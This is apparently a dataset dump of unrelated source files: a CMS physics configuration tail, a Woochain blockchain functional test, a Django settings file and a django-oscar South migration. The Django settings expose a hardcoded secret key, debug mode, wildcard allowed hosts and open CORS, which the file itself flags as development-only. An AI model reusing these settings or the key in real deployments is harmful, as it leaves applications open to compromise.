process.EEXmeanX0X991.zElectronsCollection = cms.untracked.InputTag("EEXmeanX0X991Xsmear","ZEventParticles")
process.EEXmeanX0X992Xsmear = ZShape.EffAcc.FullSimSmearedElectronProducer_cfi.FullSimSmearedElectronsProducer.clone()
process.EEXmeanX0X992Xsmear.EE.mean = cms.double(0.992)
process.EEXmeanX0X992 = ZShape.EffAcc.ZEfficiencyKevin_cfi.mcEff.clone()
process.EEXmeanX0X992.zTreeLevelElectronsCollection = cms.untracked.InputTag("f2s","ZEventEle3")
process.EEXmeanX0X992.zsrc = cms.untracked.InputTag("EEXmeanX0X992Xsmear","ZEventParticles")
process.EEXmeanX0X992.zElectronsCollection = cms.untracked.InputTag("EEXmeanX0X992Xsmear","ZEventParticles")
process.EEXmeanX0X993Xsmear = ZShape.EffAcc.FullSimSmearedElectronProducer_cfi.FullSimSmearedElectronsProducer.clone()
process.EEXmeanX0X993Xsmear.EE.mean = cms.double(0.993)
process.EEXmeanX0X993 = ZShape.EffAcc.ZEfficiencyKevin_cfi.mcEff.clone()
process.EEXmeanX0X993.zTreeLevelElectronsCollection = cms.untracked.InputTag("f2s","ZEventEle3")
process.EEXmeanX0X993.zsrc = cms.untracked.InputTag("EEXmeanX0X993Xsmear","ZEventParticles")
process.EEXmeanX0X993.zElectronsCollection = cms.untracked.InputTag("EEXmeanX0X993Xsmear","ZEventParticles")
process.EEXmeanX0X994Xsmear = ZShape.EffAcc.FullSimSmearedElectronProducer_cfi.FullSimSmearedElectronsProducer.clone()
process.EEXmeanX0X994Xsmear.EE.mean = cms.double(0.994)
process.EEXmeanX0X994 = ZShape.EffAcc.ZEfficiencyKevin_cfi.mcEff.clone()
process.EEXmeanX0X994.zTreeLevelElectronsCollection = cms.untracked.InputTag("f2s","ZEventEle3")
process.EEXmeanX0X994.zsrc = cms.untracked.InputTag("EEXmeanX0X994Xsmear","ZEventParticles")
process.EEXmeanX0X994.zElectronsCollection = cms.untracked.InputTag("EEXmeanX0X994Xsmear","ZEventParticles")
process.EEXmeanX0X995Xsmear = ZShape.EffAcc.FullSimSmearedElectronProducer_cfi.FullSimSmearedElectronsProducer.clone()
process.EEXmeanX0X995Xsmear.EE.mean = cms.double(0.995)
process.EEXmeanX0X995 = ZShape.EffAcc.ZEfficiencyKevin_cfi.mcEff.clone()
process.EEXmeanX0X995.zTreeLevelElectronsCollection = cms.untracked.InputTag("f2s","ZEventEle3")
process.EEXmeanX0X995.zsrc = cms.untracked.InputTag("EEXmeanX0X995Xsmear","ZEventParticles")
process.EEXmeanX0X995.zElectronsCollection = cms.untracked.InputTag("EEXmeanX0X995Xsmear","ZEventParticles")
process.load("RecoEgamma.EgammaHFProducers.hfEMClusteringSequence_cff")
process.p = cms.Path(process.hfRecoEcalCandidate+process.f2s
+ process.EEXmeanX0X989Xsmear
+ process.EEXmeanX0X989
+ process.EEXmeanX0X990Xsmear
+ process.EEXmeanX0X990
+ process.EEXmeanX0X991Xsmear
+ process.EEXmeanX0X991
+ process.EEXmeanX0X992Xsmear
+ process.EEXmeanX0X992
+ process.EEXmeanX0X993Xsmear
+ process.EEXmeanX0X993
+ process.EEXmeanX0X994Xsmear
+ process.EEXmeanX0X994
+ process.EEXmeanX0X995Xsmear
+ process.EEXmeanX0X995
)
| [
"klapoetke@physics.umn.edu"
] | klapoetke@physics.umn.edu |
8064eb59894b1a18df1ff8998010971ec3b593f0 | 9cabdeb8dce5718e8f4f490f3684eba0eb1f2d2e | /test/functional/minchainwork.py | 159c107cadbc5d27259a8c9fbe3ae4678e647321 | [
"MIT"
] | permissive | wolfoxonly/woo | fcfe275007cb102fff10239b0f722264dbbd40e2 | a5fb13575afe855b58915bd8e15cbffb9015e5e2 | refs/heads/master | 2020-03-09T17:00:57.668308 | 2018-05-13T15:21:17 | 2018-05-13T15:21:17 | 127,590,136 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,949 | py | #!/usr/bin/env python3
# Copyright (c) 2017 The Woochain Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test logic for setting nMinimumChainWork on command line.
Nodes don't consider themselves out of "initial block download" until
their active chain has more work than nMinimumChainWork.
Nodes don't download blocks from a peer unless the peer's best known block
has more work than nMinimumChainWork.
While in initial block download, nodes won't relay blocks to their peers, so
test that this parameter functions as intended by verifying that block relay
only succeeds past a given node once its nMinimumChainWork has been exceeded.
"""
import time
from test_framework.test_framework import WoochainTestFramework
from test_framework.util import connect_nodes, assert_equal
# 2 hashes required per regtest block (with no difficulty adjustment)
REGTEST_WORK_PER_BLOCK = 2
class MinimumChainWorkTest(WoochainTestFramework):
def set_test_params(self):
self.setup_clean_chain = True
self.num_nodes = 3
self.extra_args = [[], ["-minimumchainwork=0x65"], ["-minimumchainwork=0x65"]]
self.node_min_work = [0, 101, 101]
def setup_network(self):
# This test relies on the chain setup being:
# node0 <- node1 <- node2
# Before leaving IBD, nodes prefer to download blocks from outbound
# peers, so ensure that we're mining on an outbound peer and testing
# block relay to inbound peers.
self.setup_nodes()
for i in range(self.num_nodes-1):
connect_nodes(self.nodes[i+1], i)
def run_test(self):
# Start building a chain on node0. node2 shouldn't be able to sync until node1's
# minchainwork is exceeded
starting_chain_work = REGTEST_WORK_PER_BLOCK # Genesis block's work
self.log.info("Testing relay across node %d (minChainWork = %d)", 1, self.node_min_work[1])
starting_blockcount = self.nodes[2].getblockcount()
num_blocks_to_generate = int((self.node_min_work[1] - starting_chain_work) / REGTEST_WORK_PER_BLOCK)
self.log.info("Generating %d blocks on node0", num_blocks_to_generate)
hashes = self.nodes[0].generate(num_blocks_to_generate)
self.log.info("Node0 current chain work: %s", self.nodes[0].getblockheader(hashes[-1])['chainwork'])
# Sleep a few seconds and verify that node2 didn't get any new blocks
# or headers. We sleep, rather than sync_blocks(node0, node1) because
# it's reasonable either way for node1 to get the blocks, or not get
# them (since they're below node1's minchainwork).
time.sleep(3)
self.log.info("Verifying node 2 has no more blocks than before")
self.log.info("Blockcounts: %s", [n.getblockcount() for n in self.nodes])
# Node2 shouldn't have any new headers yet, because node1 should not
# have relayed anything.
assert_equal(len(self.nodes[2].getchaintips()), 1)
assert_equal(self.nodes[2].getchaintips()[0]['height'], 0)
assert self.nodes[1].getbestblockhash() != self.nodes[0].getbestblockhash()
assert_equal(self.nodes[2].getblockcount(), starting_blockcount)
self.log.info("Generating one more block")
self.nodes[0].generate(1)
self.log.info("Verifying nodes are all synced")
# Because nodes in regtest are all manual connections (eg using
# addnode), node1 should not have disconnected node0. If not for that,
# we'd expect node1 to have disconnected node0 for serving an
# insufficient work chain, in which case we'd need to reconnect them to
# continue the test.
self.sync_all()
self.log.info("Blockcounts: %s", [n.getblockcount() for n in self.nodes])
if __name__ == '__main__':
MinimumChainWorkTest().main()
| [
"415313577@qq.com"
] | 415313577@qq.com |
f1b6352f34d1c818206ce4aea972ca832c438851 | 208d8a40d1497b1623a9ea78ece4a493e5182661 | /redwood/settings.py | a34acff441c423ca7fc5296cf908b114ce437a42 | [] | no_license | muremwa/RedWood | 273de7c5edfac3b43c4e91f03921062375312912 | c0735999f517b280de8211022daeead4ea45bb17 | refs/heads/master | 2021-07-08T02:17:09.659659 | 2020-08-09T15:33:51 | 2020-08-09T15:33:51 | 166,394,652 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,454 | py | import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '_o^^x=d#@7ufl_g(9ef!wbz8i042gg)_9lyox!vk7p332sq_mr'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = ["*"]
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'watch.apps.WatchConfig',
'accounts.apps.AccountsConfig',
'staff.apps.StaffConfig',
'rest_framework',
'rest_framework.authtoken',
'corsheaders',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
'corsheaders.middleware.CorsMiddleware',
]
CORS_ORIGIN_ALLOW_ALL = True
REST_FRAMEWORK = {
'DEFAULT_AUTHENTICATION_CLASSES': (
'rest_framework.authentication.TokenAuthentication',
'rest_framework.authentication.SessionAuthentication',
)
}
ROOT_URLCONF = 'redwood.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'redwood.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'mysql.connector.django',
'OPTIONS': {
'option_files': 'smile.cnf'
},
}
}
# Password validation
# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# comment out when debug is true
STATICFILES_DIRS = (
os.path.join(BASE_DIR, "redwood/static"),
)
# Internationalization
# https://docs.djangoproject.com/en/2.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'Africa/Nairobi'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.1/howto/static-files/
STATIC_URL = '/static/'
MEDIA_ROOT = os.path.join(BASE_DIR, "media")
MEDIA_URL = '/media/'
| [
"danmburu254@gmail.com"
] | danmburu254@gmail.com |
66b497a4b3bbb7bdc22d36c21f835862ef2a988e | efd517e88c1016ae23156c7efd31ef35421b00e8 | /oscar/apps/partner/migrations/0012_no_null_in_charfields.py | c79c27f5415ba8b14cdf187f870ac9034bee3785 | [
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause",
"BSD-2-Clause"
] | permissive | harshadbhatia/django-oscar | 2b387f002059c3b8a1dcb231384bc3d7bc6c0bad | d6b51d8719bc9f7a633c157197405ba59eb07f3b | refs/heads/master | 2022-07-27T17:03:51.074089 | 2014-06-20T15:36:43 | 2014-06-20T15:36:43 | 21,063,503 | 0 | 0 | BSD-3-Clause | 2023-08-24T20:08:25 | 2014-06-21T07:56:14 | Python | UTF-8 | Python | false | false | 20,661 | py | # -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import DataMigration
from django.db import models
from oscar.core.compat import AUTH_USER_MODEL, AUTH_USER_MODEL_NAME
class Migration(DataMigration):
def forwards(self, orm):
orm.PartnerAddress.objects.filter(first_name__isnull=True).update(first_name='')
orm.PartnerAddress.objects.filter(title__isnull=True).update(title='')
orm.PartnerAddress.objects.filter(line4__isnull=True).update(line4='')
orm.PartnerAddress.objects.filter(line3__isnull=True).update(line3='')
orm.PartnerAddress.objects.filter(line2__isnull=True).update(line2='')
orm.PartnerAddress.objects.filter(state__isnull=True).update(state='')
orm.PartnerAddress.objects.filter(postcode__isnull=True).update(postcode='')
orm.Partner.objects.filter(name__isnull=True).update(name='')
def backwards(self, orm):
raise RuntimeError("Cannot reverse this migration.")
models = {
u'address.country': {
'Meta': {'ordering': "('-display_order', 'name')", 'object_name': 'Country'},
'display_order': ('django.db.models.fields.PositiveSmallIntegerField', [], {'default': '0', 'db_index': 'True'}),
'is_shipping_country': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'db_index': 'True'}),
'iso_3166_1_a2': ('django.db.models.fields.CharField', [], {'max_length': '2', 'primary_key': 'True'}),
'iso_3166_1_a3': ('django.db.models.fields.CharField', [], {'max_length': '3', 'null': 'True', 'db_index': 'True'}),
'iso_3166_1_numeric': ('django.db.models.fields.PositiveSmallIntegerField', [], {'null': 'True', 'db_index': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'printable_name': ('django.db.models.fields.CharField', [], {'max_length': '128'})
},
u'auth.group': {
'Meta': {'object_name': 'Group'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
u'auth.permission': {
'Meta': {'ordering': "(u'content_type__app_label', u'content_type__model', u'codename')", 'unique_together': "((u'content_type', u'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['contenttypes.ContentType']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
AUTH_USER_MODEL: {
'Meta': {'object_name': AUTH_USER_MODEL_NAME},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "u'user_set'", 'blank': 'True', 'to': u"orm['auth.Group']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "u'user_set'", 'blank': 'True', 'to': u"orm['auth.Permission']"}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
u'catalogue.attributeentity': {
'Meta': {'object_name': 'AttributeEntity'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '255', 'blank': 'True'}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'entities'", 'to': u"orm['catalogue.AttributeEntityType']"})
},
u'catalogue.attributeentitytype': {
'Meta': {'object_name': 'AttributeEntityType'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '255', 'blank': 'True'})
},
u'catalogue.attributeoption': {
'Meta': {'object_name': 'AttributeOption'},
'group': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'options'", 'to': u"orm['catalogue.AttributeOptionGroup']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'option': ('django.db.models.fields.CharField', [], {'max_length': '255'})
},
u'catalogue.attributeoptiongroup': {
'Meta': {'object_name': 'AttributeOptionGroup'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '128'})
},
u'catalogue.category': {
'Meta': {'ordering': "['full_name']", 'object_name': 'Category'},
'depth': ('django.db.models.fields.PositiveIntegerField', [], {}),
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'full_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'db_index': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'db_index': 'True'}),
'numchild': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),
'path': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '255'})
},
u'catalogue.option': {
'Meta': {'object_name': 'Option'},
'code': ('oscar.models.fields.autoslugfield.AutoSlugField', [], {'allow_duplicates': 'False', 'max_length': '128', 'separator': "u'-'", 'blank': 'True', 'unique': 'True', 'populate_from': "'name'", 'overwrite': 'False'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'type': ('django.db.models.fields.CharField', [], {'default': "'Required'", 'max_length': '128'})
},
u'catalogue.product': {
'Meta': {'ordering': "['-date_created']", 'object_name': 'Product'},
'attributes': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['catalogue.ProductAttribute']", 'through': u"orm['catalogue.ProductAttributeValue']", 'symmetrical': 'False'}),
'categories': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['catalogue.Category']", 'through': u"orm['catalogue.ProductCategory']", 'symmetrical': 'False'}),
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'date_updated': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'db_index': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_discountable': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'parent': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'variants'", 'null': 'True', 'to': u"orm['catalogue.Product']"}),
'product_class': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'products'", 'null': 'True', 'on_delete': 'models.PROTECT', 'to': u"orm['catalogue.ProductClass']"}),
'product_options': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['catalogue.Option']", 'symmetrical': 'False', 'blank': 'True'}),
'rating': ('django.db.models.fields.FloatField', [], {'null': 'True'}),
'recommended_products': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['catalogue.Product']", 'symmetrical': 'False', 'through': u"orm['catalogue.ProductRecommendation']", 'blank': 'True'}),
'related_products': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'relations'", 'blank': 'True', 'to': u"orm['catalogue.Product']"}),
'score': ('django.db.models.fields.FloatField', [], {'default': '0.0', 'db_index': 'True'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '255'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'upc': ('oscar.models.fields.NullCharField', [], {'max_length': '64', 'unique': 'True', 'null': 'True', 'blank': 'True'})
},
u'catalogue.productattribute': {
'Meta': {'ordering': "['code']", 'object_name': 'ProductAttribute'},
'code': ('django.db.models.fields.SlugField', [], {'max_length': '128'}),
'entity_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['catalogue.AttributeEntityType']", 'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'option_group': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['catalogue.AttributeOptionGroup']", 'null': 'True', 'blank': 'True'}),
'product_class': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'attributes'", 'null': 'True', 'to': u"orm['catalogue.ProductClass']"}),
'required': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'type': ('django.db.models.fields.CharField', [], {'default': "'text'", 'max_length': '20'})
},
u'catalogue.productattributevalue': {
'Meta': {'object_name': 'ProductAttributeValue'},
'attribute': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['catalogue.ProductAttribute']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'product': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'attribute_values'", 'to': u"orm['catalogue.Product']"}),
'value_boolean': ('django.db.models.fields.NullBooleanField', [], {'null': 'True', 'blank': 'True'}),
'value_date': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}),
'value_entity': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['catalogue.AttributeEntity']", 'null': 'True', 'blank': 'True'}),
'value_file': ('django.db.models.fields.files.FileField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'value_float': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'value_image': ('django.db.models.fields.files.ImageField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'value_integer': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'value_option': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['catalogue.AttributeOption']", 'null': 'True', 'blank': 'True'}),
'value_richtext': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'value_text': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'})
},
u'catalogue.productcategory': {
'Meta': {'ordering': "['product', 'category']", 'object_name': 'ProductCategory'},
'category': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['catalogue.Category']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'product': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['catalogue.Product']"})
},
u'catalogue.productclass': {
'Meta': {'ordering': "['name']", 'object_name': 'ProductClass'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'options': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['catalogue.Option']", 'symmetrical': 'False', 'blank': 'True'}),
'requires_shipping': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'slug': ('oscar.models.fields.autoslugfield.AutoSlugField', [], {'allow_duplicates': 'False', 'max_length': '128', 'separator': "u'-'", 'blank': 'True', 'unique': 'True', 'populate_from': "'name'", 'overwrite': 'False'}),
'track_stock': ('django.db.models.fields.BooleanField', [], {'default': 'True'})
},
u'catalogue.productrecommendation': {
'Meta': {'object_name': 'ProductRecommendation'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'primary': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'primary_recommendations'", 'to': u"orm['catalogue.Product']"}),
'ranking': ('django.db.models.fields.PositiveSmallIntegerField', [], {'default': '0'}),
'recommendation': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['catalogue.Product']"})
},
u'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
u'partner.partner': {
'Meta': {'object_name': 'Partner'},
'code': ('oscar.models.fields.autoslugfield.AutoSlugField', [], {'allow_duplicates': 'False', 'max_length': '128', 'separator': "u'-'", 'blank': 'True', 'unique': 'True', 'populate_from': "'name'", 'overwrite': 'False'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '128', 'null': 'True', 'blank': 'True'}),
'users': ('django.db.models.fields.related.ManyToManyField', [], {'blank': 'True', 'related_name': "'partners'", 'null': 'True', 'symmetrical': 'False', 'to': u"orm['{0}']".format(AUTH_USER_MODEL)})
},
u'partner.partneraddress': {
'Meta': {'object_name': 'PartnerAddress'},
'country': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['address.Country']"}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'line1': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'line2': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'line3': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'line4': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'partner': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'addresses'", 'to': u"orm['partner.Partner']"}),
'postcode': ('oscar.models.fields.UppercaseCharField', [], {'max_length': '64', 'null': 'True', 'blank': 'True'}),
'search_text': ('django.db.models.fields.CharField', [], {'max_length': '1000'}),
'state': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True', 'blank': 'True'})
},
u'partner.stockalert': {
'Meta': {'ordering': "('-date_created',)", 'object_name': 'StockAlert'},
'date_closed': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'status': ('django.db.models.fields.CharField', [], {'default': "'Open'", 'max_length': '128'}),
'stockrecord': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'alerts'", 'to': u"orm['partner.StockRecord']"}),
'threshold': ('django.db.models.fields.PositiveIntegerField', [], {})
},
u'partner.stockrecord': {
'Meta': {'unique_together': "(('partner', 'partner_sku'),)", 'object_name': 'StockRecord'},
'cost_price': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '12', 'decimal_places': '2', 'blank': 'True'}),
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'date_updated': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'db_index': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'low_stock_threshold': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}),
'num_allocated': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'num_in_stock': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}),
'partner': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'stockrecords'", 'to': u"orm['partner.Partner']"}),
'partner_sku': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'price_currency': ('django.db.models.fields.CharField', [], {'default': "'GBP'", 'max_length': '12'}),
'price_excl_tax': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '12', 'decimal_places': '2', 'blank': 'True'}),
'price_retail': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '12', 'decimal_places': '2', 'blank': 'True'}),
'product': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'stockrecords'", 'to': u"orm['catalogue.Product']"})
}
}
complete_apps = ['partner']
symmetrical = True
| [
"m@maikhoepfel.de"
] | m@maikhoepfel.de |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.